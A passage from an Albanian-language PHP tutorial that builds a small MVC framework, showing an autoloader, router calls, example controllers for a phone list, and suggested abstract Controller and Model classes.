ka fjalen &quot;controller&quot; brenda; qe</span></li><li><span style="color: #666666; font-style: italic;">		do te thote se po tentohet te niset nje Kontrollues (emrat e klasave te te cileve</span></li><li><span style="color: #666666; font-style: italic;">		fillojne gjithmone me Controller_). Nese ai eshte rasti, percaktoj direktorine</span></li><li><span style="color: #666666; font-style: italic;">		e duhur ku ndodhen Kontrolluesit (/app/controller/). Konkretisht:</span></li><li>&nbsp;</li><li><span style="color: #666666; font-style: italic;">		Nese po therritet Kontrolluesi: &quot;Controller_Perdoruesit&quot;, veprimet qe behen</span></li><li><span style="color: #666666; font-style: italic;">		me poshte jane:</span></li><li>&nbsp;</li><li><span style="color: #666666; font-style: italic;">		strtolower() =&gt; &quot;controller_perdoruesit&quot;</span></li><li><span style="color: #666666; font-style: italic;">		str_replace() =&gt; &quot;controller/perdoruesit&quot;</span></li><li><span style="color: #666666; font-style: italic;">		adresa e plote =&gt; __DIR__ . '/app/controller/perdoruesit.php&quot;</span></li><li>&nbsp;</li><li><span style="color: #666666; font-style: italic;">		Nese emri i klases nuk permban &quot;controller&quot;, kalohet ne bllokun e dyte ku tentohet</span></li><li><span style="color: #666666; font-style: italic;">		te perfshihet nje klase nga ato baze (core).</span></li><li>&nbsp;</li><li><span style="color: #666666; font-style: italic;">		__DIR__ eshte nje konstante qe kthen direktorine fizike te aplikacionit.</span></li><li>&nbsp;</li><li><span style="color: #666666; font-style: italic;">		**Shenim: Qe nga PHP 5.3, funksioni __autoload() dekurajohet ne favor te nje implementimi</span></li><li><span style="color: #666666; font-style: italic;">		me te mire me sp_autoload_register(). Ne te ardhmen, __autoload() mund te behet deprecated.</span></li><li><span style="color: #666666; font-style: italic;">	*/</span></li><li>	<span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #990000;">stristr</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$class</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">'controller'</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span></li><li>		<span style="color: #000088;">$file</span> <span style="color: #339933;">=</span> __DIR__ <span style="color: #339933;">.</span> <span style="color: #0000ff;">'/app/'</span> <span style="color: #339933;">.</span> <span style="color: #990000;">str_replace</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'_'</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">'/'</span><span style="color: #339933;">,</span> <span style="color: #990000;">strtolower</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$class</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span> <span style="color: #339933;">.</span> <span style="color: #0000ff;">'.php'</span><span style="color: #339933;">;</span></li><li>	<span style="color: #009900;">&#125;</span> <span style="color: #b1b100;">else</span> <span style="color: #009900;">&#123;</span></li><li>		<span style="color: #000088;">$file</span> <span style="color: #339933;">=</span> __DIR__ <span style="color: #339933;">.</span> <span style="color: #0000ff;">'/core/'</span> <span style="color: #339933;">.</span> <span style="color: #990000;">strtolower</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$class</span><span style="color: #009900;">&#41;</span> <span style="color: #339933;">.</span> <span style="color: #0000ff;">'.php'</span><span style="color: #339933;">;</span></li><li>	<span style="color: #009900;">&#125;</span></li><li>&nbsp;</li><li>	<span style="color: #666666; font-style: italic;">/*</span></li><li><span style="color: #666666; font-style: italic;">		Nese skedari nuk egziston, gjenerohet nje gabim.</span></li><li><span style="color: #666666; font-style: italic;">	*/</span></li><li>	<span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #339933;">!</span><span style="color: #990000;">file_exists</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$file</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span></li><li>		<span style="color: #990000;">trigger_error</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;Klasa <span style="color: #006699; font-weight: bold;">$file</span> nuk u ngarkua sepse skedari perkates nuk egziston.&quot;</span><span style="color: #339933;">,</span> FATAL<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>	</li><li>	<span style="color: #009900;">&#125;</span></li><li>&nbsp;</li><li>	<span style="color: #666666; font-style: italic;">/*</span></li><li><span style="color: #666666; font-style: italic;">		Perfshihet skedari.</span></li><li><span style="color: #666666; font-style: italic;">	*/</span></li><li>&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: #b1b100;">require_once</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$file</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span></li><li><span style="color: #009900;">&#125;</span></li><li>&nbsp;</li><li><span style="color: #666666; font-style: italic;">/*</span></li><li><span style="color: #666666; font-style: italic;">	set_error_handler() vendos funksionin baze per gabimet, qe kthehet nga trigger_error().</span></li><li><span style="color: #666666; font-style: italic;">*/</span></li><li><span style="color: #990000;">set_error_handler</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'ErrorHandler'</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span></li><li>&nbsp;</li><li><span style="color: #666666; font-style: italic;">/*</span></li><li><span style="color: #666666; font-style: italic;">	Ruaj ne Loader klasat qe do te me duhen te perdor neper aplikacion.</span></li><li><span style="color: #666666; font-style: italic;">*/</span></li><li>Loader<span style="color: #339933;">::</span><span style="color: #004000;">store</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'db'</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">'router'</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">'template'</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span></li><li>&nbsp;</li><li><span style="color: #666666; font-style: italic;">/*</span></li><li><span style="color: #666666; font-style: italic;">	Ngarkoj objektin e Router.</span></li><li><span style="color: #666666; font-style: italic;">*/</span></li><li><span style="color: #000088;">$router</span> <span style="color: #339933;">=</span> Loader<span style="color: #339933;">::</span><span style="color: #004000;">load</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'router'</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span></li><li>&nbsp;</li><li><span style="color: #666666; font-style: italic;">/*</span></li><li><span style="color: #666666; font-style: italic;">	Kontrolloj nese metoda findRoute() kthen nje nje url. Nese jo (blloku i pare), egzekutoj</span></li><li><span style="color: #666666; font-style: italic;">	loadMainController(), metode pergjegjese per Kontrolluesin kryesore (index). Nese kthehet</span></li><li><span style="color: #666666; font-style: italic;">	nje url (blloku i dyte), therras loadController() per te ngarkuar Kontrolluesin e duhur.</span></li><li><span style="color: #666666; font-style: italic;">*/</span></li><li><span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #339933;">!</span><span style="color: #000088;">$router</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">findRoute</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span></li><li>	<span style="color: #000088;">$router</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">loadMainController</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span></li><li><span style="color: #009900;">&#125;</span> <span style="color: #b1b100;">else</span> <span style="color: #009900;">&#123;</span></li><li>	<span style="color: #000088;">$router</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">loadController</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>	</li><li><span style="color: #009900;">&#125;</span></li><li><span style="color: #000000; font-weight: bold;">?&gt;</span></li></ol></div></pre><!--END_DEVFMTCODE--></p>
<h2>Controllers dhe Views</h2>
<p>Gjatë guidës ju a kam shpjeguar se si funksionojnë Controllers dhe Views. Megjithatë, po bëj një përmbledhje të shkurtër për të sqaruar ato që mund të mos keni kuptuar, sidomos tani që e keni parë se si sistemi funksionon.</p>
<p>Controllers janë klasa që ruhen në direktorinë &#8220;<em>app/controller/</em>&#8220;. Emri i klasës fillon gjithmonë me &#8220;<em>Controller_</em>&#8221; dhe pjesa e dytë duhet të përputhet me emrin e skedarit që Router-i ta njohë. Psh, një Controller me emrin &#8220;<em>Controller_Perdoruesit</em>&#8220;, duhet që emrin e skedarit ta kete &#8220;<em>perdoruesit.php</em>&#8221; që të egzekutohet kur në URL vendoset &#8220;<em>index.php/perdoruesit/</em>&#8220;. Krahas nomeklaturës, çdo Controller duhet të ketë patjetër një metodë të quajtur home(), e cila egzekutohet nëse nuk është përcaktuar një parametër i dytë në URL. Nëse është përcaktuar, psh: &#8220;<em>index.php/perdoruesit/shfaq/</em>&#8220;, automatikisht Router-i kontrollon për një metodë të quajtur shfaq() në Controller-in &#8220;<em>Controller_Perdoruesit</em>&#8220;.</p>
<p>Views janë skedarë HTML që ruajnë paraqitjen e aplikacionit dhe vendosen në direktorinë &#8220;<em>app/views/</em>&#8220;. Brenda mund të shkruhen pseudo-variabla të cilat zëvendësohen përmes klasës së Shablloneve me tekstet e përcaktuara. Skedarët CSS, Javascript, Imazhet apo resurse të tjera që do të përdoren në shabllone, ruhen në direktorinë &#8220;<em>app/assets/</em>&#8220;. Në këtë formë janë të ndara midis tyre asetet nga skedarët HTML.</p>
<h2>Shkarkoni Kodin</h2>
<p>Për të parë se si i gjithë sistemi vihet në punë dhe disa shembuj konkretë të përdorimit të Controllers dhe Views, shkarkoni kodin në fillim të guidës. Pavarësisht se tashmë duhet ta keni krijuar mirë idene se si klasat e ndryshme funksionojnë dhe si lidhen me njëra tjetrën, shembujt konkretë duhet t&#8217;ja u sqarojnë mirë idetë.</p>
<h2>Si mund ta përmirësoni sistemin?</h2>
<p>Në çdo seksion ju tregova si të përmirësoni klasat e veçanta, për ti bërë më të fuqishme dhe me më tepër opsione. Megjithatë, një Librari ka plot për të shtuar.</p>
<p>Kryesorja do të ishin shtime ndaj klasave bazë që kryejnë funksione të përdorura shpesh. Mund të jenë klasa për: gjenerimin e formave, manipulim imazhesh, krijimin e faqeve (pagination), siguri, unit testing, etj. Të gjitha janë proçese ripetitive që të marrin kohë nëse i shkruan nga fillimi në çdo projekt, apo i kalon nga një projekt tek tjetri. Gjithashtu mund të shtohen ndihmësa që ju ndihmojnë si: dërgim email-esh, përpunimin e URL-ve, shkrimin e HTML-së, shkarkim, gjenerim/konvertim datash, etj. Kam shkruar një guidë këtu në Feniksi ku kam dhënë 3 ndihmësa të thjeshtë: <a href="http://feniksi.com/web/php/klasa-ndihmese-ne-php/" title="Klasa Ndihmëse në PHP">Klasa Ndihmëse në PHP</a>. PHP&nbsp;është pak e çuditshme për nga zgjedhja e emrave të funksioneve dhe vendosjes së parametrave të tyre.&nbsp;Në fund, do keni një Librari të kompletuar me klasat bazë dhe ndihmësat që përdorni më tepër.</p>
<p>Një shtim i mirë do të ishte një klasë abstrakte për Kontrolluesit që luan rolin e një ndërfaqeje, por edhe për të kryer veprime që të jenë të aksesueshmë nga të gjithë Kontrolluesit e tjerë. Një nga këto është edhe ngarkimi i objekteve (përmes Loader-it) në një vektor të klasës abstrakte, që të përdoret lehtësisht nga të gjitha metodat e Kontrolluesëve që zgjerojnë atë.</p>
<p>Shikoni kodin aktual të një Kontrolluesi në formën që e kam shkruar tani. Jam detyruar të thërras çdo objekt përmes Loader-it manualisht sa herë që me duhen dhe maksimumi që mund të bëj me këtë sistem, është të krijoj një vektor për çdo klasë që mban objektet.</p>
<p><!--DEVFMTCODE--><pre class="devcodeblock" title="PHP"><div class="devcodeoverflow"><ol><li><span style="color: #000000; font-weight: bold;">&lt;?php</span></li><li><span style="color: #000000; font-weight: bold;">class</span> Controller_Celularet <span style="color: #009900;">&#123;</span></li><li>&nbsp;</li><li>	<span style="color: #000000; font-weight: bold;">public</span> <span style="color: #000000; font-weight: bold;">function</span> home <span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span></li><li>		<span style="color: #000088;">$tpl</span> <span style="color: #339933;">=</span> Loader<span style="color: #339933;">::</span><span style="color: #004000;">load</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'template'</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span></li><li>		<span style="color: #000088;">$db</span> <span style="color: #339933;">=</span> Loader<span style="color: #339933;">::</span><span style="color: #004000;">load</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'db'</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>	</li><li>&nbsp;</li><li>		<span style="color: #000088;">$query</span> <span style="color: #339933;">=</span> <span style="color: #000088;">$db</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">query</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;SELECT * FROM framework_celularet ORDER BY marka&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span></li><li>		<span style="color: #b1b100;">foreach</span> <span style="color: #009900;">&#40;</span><span style="color: #000088;">$query</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">results</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span> <span style="color: #b1b100;">as</span> <span style="color: #000088;">$row</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span></li><li>			<span style="color: #000088;">$phones</span> <span style="color: #339933;">.=</span> <span style="color: #0000ff;">'&lt;a href=&quot;shfaq/'</span> <span style="color: #339933;">.</span> <span style="color: #000088;">$row</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'id'</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">.</span> <span style="color: #0000ff;">'/&quot;&gt;&lt;b&gt;'</span> <span style="color: #339933;">.</span> <span style="color: #000088;">$row</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'marka'</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">.</span> <span style="color: #0000ff;">'&lt;/b&gt; - '</span> <span style="color: #339933;">.</span> <span style="color: #000088;">$row</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'modeli'</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">.</span> <span style="color: #0000ff;">'&lt;/a&gt; ('</span> <span style="color: #339933;">.</span> <span style="color: #000088;">$row</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'vlera'</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">.</span> <span style="color: #0000ff;">'$)&lt;br /&gt;'</span><span style="color: #339933;">;</span>	</li><li>		<span style="color: #009900;">&#125;</span></li><li>&nbsp;</li><li>		<span style="color: #000088;">$tpl</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">loadFiles</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'celularet'</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span></li><li>		<span style="color: #000088;">$tpl</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">parse</span><span style="color: #009900;">&#40;</span><span style="color: #990000;">array</span><span style="color: #009900;">&#40;</span></li><li>			<span style="color: #0000ff;">'site_title'</span> <span style="color: #339933;">=&gt;</span> <span style="color: #0000ff;">'Feniksi Framework - Lista e Celulareve'</span><span style="color: #339933;">,</span></li><li>			<span style="color: #0000ff;">'title'</span> <span style="color: #339933;">=&gt;</span> <span style="color: #0000ff;">'Lista e Celulareve'</span><span style="color: #339933;">,</span></li><li>			<span style="color: #0000ff;">'celularet'</span> <span style="color: #339933;">=&gt;</span> <span style="color: #990000;">stripslashes</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$phones</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span></li><li>		<span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span></li><li>		<span style="color: #b1b100;">echo</span> <span style="color: #000088;">$tpl</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">output</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span></li><li>	<span style="color: #009900;">&#125;</span></li><li>&nbsp;</li><li><span style="color: #009900;">&#125;</span></li><li><span style="color: #000000; font-weight: bold;">?&gt;</span></li></ol></div></pre><!--END_DEVFMTCODE--></p>
<p>Nuk është edhe aq praktike, apo jo? Duke realizuar sugjerimin që ju dhashë më sipër, të gjithë pjesën e ngarkimit të objekteve mund t&#8217;ja lëmë në përgjegjësi një klase &#8220;Controller&#8221; që të gjithë Kontrolluesit janë të detyruar ta shtojnë. Shikoni si duket shembulli më poshtë.</p>
<p><!--DEVFMTCODE--><pre class="devcodeblock" title="PHP"><div class="devcodeoverflow"><ol><li><span style="color: #000000; font-weight: bold;">&lt;?php</span></li><li>abstract <span style="color: #000000; font-weight: bold;">class</span> Controller <span style="color: #009900;">&#123;</span></li><li>&nbsp;</li><li>	<span style="color: #000000; font-weight: bold;">protected</span> <span style="color: #000088;">$db</span><span style="color: #339933;">;</span></li><li>	<span style="color: #000000; font-weight: bold;">protected</span> <span style="color: #000088;">$tpl</span><span style="color: #339933;">;</span></li><li>&nbsp;</li><li>	<span style="color: #000000; font-weight: bold;">public</span> <span style="color: #000000; font-weight: bold;">function</span> __construct <span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span></li><li>		<span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">db</span> <span style="color: #339933;">=</span> Loader<span style="color: #339933;">::</span><span style="color: #004000;">load</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'db'</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span></li><li>		<span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">tpl</span> <span style="color: #339933;">=</span> Loader<span style="color: #339933;">::</span><span style="color: #004000;">load</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'template'</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span></li><li>	<span style="color: #009900;">&#125;</span></li><li>&nbsp;</li><li>	abstract <span style="color: #000000; font-weight: bold;">protected</span> <span style="color: #000000; font-weight: bold;">function</span> home <span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span></li><li>&nbsp;</li><li><span style="color: #009900;">&#125;</span></li><li>&nbsp;</li><li><span style="color: #000000; font-weight: bold;">class</span> Controller_Celularet <span style="color: #000000; font-weight: bold;">extends</span> Controller <span style="color: #009900;">&#123;</span></li><li>&nbsp;</li><li>	<span style="color: #000000; font-weight: bold;">public</span> <span style="color: #000000; font-weight: bold;">function</span> home <span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span></li><li>		<span style="color: #000088;">$query</span> <span style="color: #339933;">=</span> <span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">db</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">query</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;SELECT * FROM celularet ORDER BY marka&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span></li><li>		<span style="color: #b1b100;">foreach</span> <span style="color: #009900;">&#40;</span><span style="color: #000088;">$query</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">results</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span> <span style="color: #b1b100;">as</span> <span style="color: #000088;">$row</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span></li><li>			<span style="color: #000088;">$phones</span> <span style="color: #339933;">.=</span> <span style="color: #0000ff;">'&lt;a href=&quot;shfaq/'</span> <span style="color: #339933;">.</span> <span style="color: #000088;">$row</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'id'</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">.</span> <span style="color: #0000ff;">'/&quot;&gt;&lt;b&gt;'</span> <span style="color: #339933;">.</span> <span style="color: #000088;">$row</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'marka'</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">.</span> <span style="color: #0000ff;">'&lt;/b&gt; - '</span> <span style="color: #339933;">.</span> <span style="color: #000088;">$row</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'modeli'</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">.</span> <span style="color: #0000ff;">'&lt;/a&gt; ('</span> <span style="color: #339933;">.</span> <span style="color: #000088;">$row</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'vlera'</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">.</span> <span style="color: #0000ff;">'$)&lt;br /&gt;'</span><span style="color: #339933;">;</span>	</li><li>		<span style="color: #009900;">&#125;</span></li><li>&nbsp;</li><li>		<span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">tpl</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">loadFiles</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'celularet'</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span></li><li>		<span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">tpl</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">parse</span><span style="color: #009900;">&#40;</span><span style="color: #990000;">array</span><span style="color: #009900;">&#40;</span></li><li>			<span style="color: #0000ff;">'site_title'</span> <span style="color: #339933;">=&gt;</span> <span style="color: #0000ff;">'Feniksi Framework - Lista e Celulareve'</span><span style="color: #339933;">,</span></li><li>			<span style="color: #0000ff;">'title'</span> <span style="color: #339933;">=&gt;</span> <span style="color: #0000ff;">'Lista e Celulareve'</span><span style="color: #339933;">,</span></li><li>			<span style="color: #0000ff;">'celularet'</span> <span style="color: #339933;">=&gt;</span> <span style="color: #990000;">stripslashes</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$phones</span><span style="color: #009900;">&#41;</span></li><li>		<span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span></li><li>		<span style="color: #b1b100;">echo</span> <span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">tpl</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">output</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span></li><li>	<span style="color: #009900;">&#125;</span></li><li>&nbsp;</li><li><span style="color: #009900;">&#125;</span></li><li><span style="color: #000000; font-weight: bold;">?&gt;</span></li></ol></div></pre><!--END_DEVFMTCODE--></p>
<p>Si ç&#8217;e shihni, klasa abstrakte &#8220;Controller&#8221; merr vlerën e objekteve që në __construct() &#8211; pra në momentin e krijimit &#8211; dhe i kalon në variablat e klasës. Në këtë formë, Kontrolluesit që shtojnë klasën &#8220;Controller&#8221;, kanë akses direkt tek variablat e tij dhe mund ti përdorin ato objekte pa pasur nevojën ti deklarojnë sërish. Gjithashtu, kam shkruar edhe një metodë abstrakte home() për të imponuar Kontrolluesit ta kenë atë metodë. Ky sistem sigurisht është më logjik dhe pikërisht për këtë arsye ja u tregova. Sistemi aktual nuk përdor këtë mënyrë, thjeshtë për t&#8217;ju lënë të eksperimentoni me mënyrat që ju duken më interesante.</p>
<p>Nëse e shihni të nevojshme, mund ti shtoni Modele Librarisë, për të ndarë logjikën nga të dhënat. Nuk do ju merrte shumë kohë sepse Modelet thërriten nga Kontrolluesit dhe mjafton një klasë e ngjashme me Loader-in apo një metodë brenda Loader-it, që specializohet në thërritjen e modeleve. Ashtu si sugjerimi për Kontrolluesit, edhe Modelet mund të kenë një klasë abstrakte që përcakton vlera apo metoda të detyrueshme.</p>
<p>Më poshtë kam shkruar një Model shumë të thjeshtë i cili do të përdoret në një nga Kontrolluesit shembull. Vlen vetëm për t&#8217;ju dhënë idenë.</p>
<p><!--DEVFMTCODE--><pre class="devcodeblock" title="PHP"><div class="devcodeoverflow"><ol><li><span style="color: #000000; font-weight: bold;">&lt;?php</span></li><li>abstract <span style="color: #000000; font-weight: bold;">class</span> Models <span style="color: #009900;">&#123;</span></li><li>&nbsp;</li><li>	<span style="color: #000000; font-weight: bold;">protected</span> <span style="color: #000088;">$db</span><span style="color: #339933;">;</span></li><li>&nbsp;</li><li>	<span style="color: #000000; font-weight: bold;">public</span> <span style="color: #000000; font-weight: bold;">function</span> __construct <span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span></li><li>		<span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">db</span> <span style="color: #339933;">=</span> Loader<span style="color: #339933;">::</span><span style="color: #004000;">load</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'db'</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span></li><li>	<span style="color: #009900;">&#125;</span></li><li>&nbsp;</li><li><span style="color: #009900;">&#125;</span></li><li>&nbsp;</li><li><span style="color: #000000; font-weight: bold;">class</span> Model_Celularet <span style="color: #000000; font-weight: bold;">extends</span> Models <span style="color: #009900;">&#123;</span></li><li>&nbsp;</li><li>	<span style="color: #000000; font-weight: bold;">public</span> <span style="color: #000000; font-weight: bold;">function</span> listaCelulareve <span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span></li><li>		<span style="color: #000088;">$query</span> <span style="color: #339933;">=</span> <span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">db</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">query</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;SELECT * FROM celularet ORDER BY marka&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span></li><li>		<span style="color: #b1b100;">return</span> <span style="color: #000088;">$query</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">results</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>	</li><li>	<span style="color: #009900;">&#125;</span></li><li>&nbsp;</li><li><span style="color: #009900;">&#125;</span></li></ol></div></pre><!--END_DEVFMTCODE--></p>
<p>Si ç&#8217;e shihni, edhe këtu kam krijuar një klasë abstrakte që merr objektin e databazës dhe ja servir të gjithë modeleve të tjerë përmes variablës $db. Klasa &#8220;Model_Celularet&#8221; zgjeron klasën abstrakte dhe mban vetëm një metodë për të shfaqur listën e celularëve. Kaq supozohet të bëjë një Model: të mbajë metoda për marrjen e të dhënave nga databaza dhe t&#8217;ja dërgojë ato Kontrolluesëve. E gjithë ideja është që të ndahen klasat që marrin të dhëna (Modelet) dhe klasat që përpunojnë të dhëna (Kontrolluesit).</p>
<p>Tani po ju tregoj një shembull përsëri të thjeshtë të përdorimit të Modelit të mësipërm në një Kontrollues. Teknika nuk është e përsosur sepse Loader::load(&#8216;modeli&#8217;) nuk specializohet në ngarkimin e Modeleve. Mbani mend që Loader-i fillimisht duhet ti ruajë objektet e më pas ti servirë? Kjo s&#8217;është optimale për Modelet sepse do na duhej ti ruanim në Loader (përmes metodës store) para se ti përdorim. Megjithatë, mund të shtohet lehtë një metodë (psh: Loader::loadModel()) e specializuar për ngarkimin e Modeleve.</p>
<p><!--DEVFMTCODE--><pre class="devcodeblock" title="PHP"><div class="devcodeoverflow"><ol><li><span style="color: #000000; font-weight: bold;">&lt;?php</span></li><li><span style="color: #000000; font-weight: bold;">class</span> Controller_Celularet <span style="color: #009900;">&#123;</span></li><li>&nbsp;</li><li>	<span style="color: #000000; font-weight: bold;">public</span> <span style="color: #000000; font-weight: bold;">function</span> home <span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span></li><li>		<span style="color: #000088;">$model</span> <span style="color: #339933;">=</span> Loader<span style="color: #339933;">::</span><span style="color: #004000;">load</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'Model_Celularet'</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span></li><li>&nbsp;</li><li>		<span style="color: #000088;">$results</span> <span style="color: #339933;">=</span> <span style="color: #000088;">$model</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">listaCelulareve</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span></li><li>		<span style="color: #b1b100;">foreach</span> <span style="color: #009900;">&#40;</span><span style="color: #000088;">$results</span> <span style="color: #b1b100;">as</span> <span style="color: #000088;">$row</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span></li><li>			<span style="color: #000088;">$phones</span> <span style="color: #339933;">.=</span> <span style="color: #0000ff;">'&lt;a href=&quot;shfaq/'</span> <span style="color: #339933;">.</span> <span style="color: #000088;">$row</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'id'</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">.</span> <span style="color: #0000ff;">'/&quot;&gt;&lt;b&gt;'</span> <span style="color: #339933;">.</span> <span style="color: #000088;">$row</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'marka'</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">.</span> <span style="color: #0000ff;">'&lt;/b&gt; - '</span> <span style="color: #339933;">.</span> <span style="color: #000088;">$row</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'modeli'</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">.</span> <span style="color: #0000ff;">'&lt;/a&gt; ('</span> <span style="color: #339933;">.</span> <span style="color: #000088;">$row</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'vlera'</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">.</span> <span style="color: #0000ff;">'$)&lt;br /&gt;'</span><span style="color: #339933;">;</span>	</li><li>		<span style="color: #009900;">&#125;</span></li><li>&nbsp;</li><li>		<span style="color: #000088;">$tpl</span><span style="color: 